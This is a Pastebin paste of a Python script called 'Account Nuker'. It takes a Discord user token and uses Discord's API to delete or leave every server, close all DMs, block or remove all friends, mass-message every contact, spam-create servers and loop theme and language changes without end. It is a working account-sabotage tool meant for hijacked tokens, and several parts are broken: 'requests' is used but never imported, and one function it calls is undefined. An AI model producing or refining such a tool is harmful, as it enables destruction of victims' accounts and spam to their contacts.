Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2020
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.45 KB | None | 0 0
  1. from os import system
  2. from requests import post, get, patch, delete
  3. from colorama import Fore, init
  4. from sys import exit
  5. from time import sleep
  6. import ctypes, json
  7.  
  8. system('cls && title Account Nuker'); init()
  9.  
  10. def banner():
  11. banner = f"""{Fore.GREEN}
  12. ___ ___ ___ ___ _ _ _ _ ___ _ _ _ _ _ __ ___ ___
  13. | . || _>| _>| . || | || \ ||_ _| | \ || | || / /| __>| . |
  14. | || <__| <__| | || ' || | | | | || ' || \ | _> | /
  15. |_|_|`___/`___/`___'`___'|_\_| |_| |_\_|`___'|_\_\|___>|_\_| {Fore.WHITE}Created by Kominiara DDL#3048
  16.  
  17.  
  18. """
  19. return(banner)
  20.  
  21. def options():
  22. menu = f"""{Fore.GREEN}[1] Create guilds
  23. [2] Remove Guilds
  24. [3] Close DM
  25. [4] Block friends
  26. [5] Delete friends
  27. [6] MassDM
  28. [7] Change theme
  29. [8] Change language"""
  30. return (menu)
  31.  
  32. def createGuilds(token, name, amount):
  33. for x in range(int(amount)):
  34. data = {
  35. "name":name,
  36. "region":"europe",
  37. "icon":'null'
  38. }
  39.  
  40. r = post('https://discordapp.com/api/v6/guilds', json=data, headers={'authorization': token})
  41. if r.status_code == 201:
  42. print(f"{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Create guild {name}")
  43. else:
  44. print(f"{Fore.RED}[{Fore.WHITE}-{Fore.RED}] Error with create guild")
  45.  
  46. def deleteGuilds(token):
  47. r = get('https://discordapp.com/api/v6/users/@me/guilds', headers={'authorization': token})
  48. json.text = json.loads(r.content)
  49. for guild in json.text:
  50. if guild['owner'] == True:
  51. r2 = post(f"https://discordapp.com/api/v6/guilds/{guild['id']}/delete", headers={'authorization': token})
  52. print(f"{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Remove guild {Fore.WHITE}{guild['name']}")
  53. elif guild['owner'] == False:
  54. r3 = delete(f"https://discordapp.com/api/v6/users/@me/guilds/{guild['id']}", headers={'authorization': token})
  55. print(f"{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Left guild {Fore.WHITE}{guild['name']}")
  56. else:
  57. print(f"{Fore.RED}[{Fore.WHITE}-{Fore.RED}] Unknown error")
  58.  
  59. def closeDm(token):
  60. r = get('https://discordapp.com/api/v6/users/@me/channels', headers={'authorization': token})
  61. for channel in r.json():
  62. r2 = post(f"https://discordapp.com/api/v6/channels/{channel['id']}/message", headers={'authorization': token})
  63. r3 = delete(f"https://discordapp.com/api/v6/channels/{channel['id']}", headers={'authorization': token})
  64. if r3.status_code == 200:
  65. print(f'{Fore.GREEN}[{Fore.WHITE}+{Fore.GREEN}] Close DM')
  66. else:
  67. print(f"{Fore.RED}[{Fore.WHITE}-{Fore.RED}] Unknown error")
  68.  
  69. def block(token):
  70. r = requests.get('https://discordapp.com/api/v6/users/@me/relationships', headers={'authorization': token}).json()
  71. for frd in r:
  72. r2 = requests.put(f'https://discordapp.com/api/v6/users/@me/relationships/{frd["id"]}', headers={'authorization': token}, json={'type': '2'})
  73. print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Block friends")
  74.  
  75. def delete(token):
  76. r = requests.get('https://discordapp.com/api/v6/users/@me/relationships', headers={'authorization': token}).json()
  77. for frd in r:
  78. r2 = requests.delete(f'https://discordapp.com/api/v6/users/@me/relationships/{frd["id"]}', headers={'authorization': token})
  79. print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Remove from friends")
  80.  
  81. def massdm(token, message):
  82. headers = {'authorization': token}
  83. data = {'content': message}
  84. r = requests.get('https://discordapp.com/api/v6/users/@me/channels', headers=headers).json()
  85. for channel in r:
  86. r2 = requests.post(f"https://discordapp.com/api/v6/channels/{channel['id']}/messages", headers=headers, json=data)
  87. if r2.status_code == 200:
  88. print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Send message")
  89. else:
  90. print(f"{Fore.RED}[{Fore.WHITE}LOG{Fore.RED}] Error")
  91.  
  92. def theme(token):
  93. headers = {'authorization': token}
  94. while True:
  95. for x in range(2):
  96. list = ['dark', 'light']
  97. r = requests.patch('https://discord.com/api/v6/users/@me/settings', headers=headers, json={'theme': list[x]})
  98. if r.status_code == "200":
  99. print("200")
  100. else:
  101. print(f"{r.status_code}")
  102.  
  103. def lang(token):
  104. headers = {'authorization': token}
  105. list = ['da', 'de', 'en-BG', 'en-US', 'es-ES', 'fr', 'hr', 'it', 'lt', 'no', 'pl', 'el', 'tr', 'ru']
  106. while True:
  107. for x in range(len(list)):
  108. r = requests.patch('https://discord.com/api/v6/users/@me/settings', headers=headers, json={'locale': list[x]})
  109. print(f"changed: {list[x]}")
  110.  
  111. if __name__ == "__main__":
  112. print(banner())
  113. token = input(f"\n{Fore.WHITE}Token >")
  114. system('cls')
  115. print(banner())
  116. print(options())
  117. option = input(f"\n{Fore.WHITE}Option > ")
  118. if option == '1':
  119. name = input(f"Name >")
  120. amount = input(f"Amount >")
  121. createGuilds(token, name, amount)
  122. elif option == '2':
  123. deleteGuilds(token)
  124. elif option == '3':
  125. closeDm(token)
  126. elif option == '4':
  127. blockFriend(token)
  128. elif option == '5':
  129. delete(token)
  130. elif option == '6':
  131. message = input("Message >")
  132. massdm(token, message)
  133. elif option == '7':
  134. theme(token)
  135. elif option == '8':
  136. lang(token)
  137. else:
  138. print("Invliad option")
  139. system("stop >NUL")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement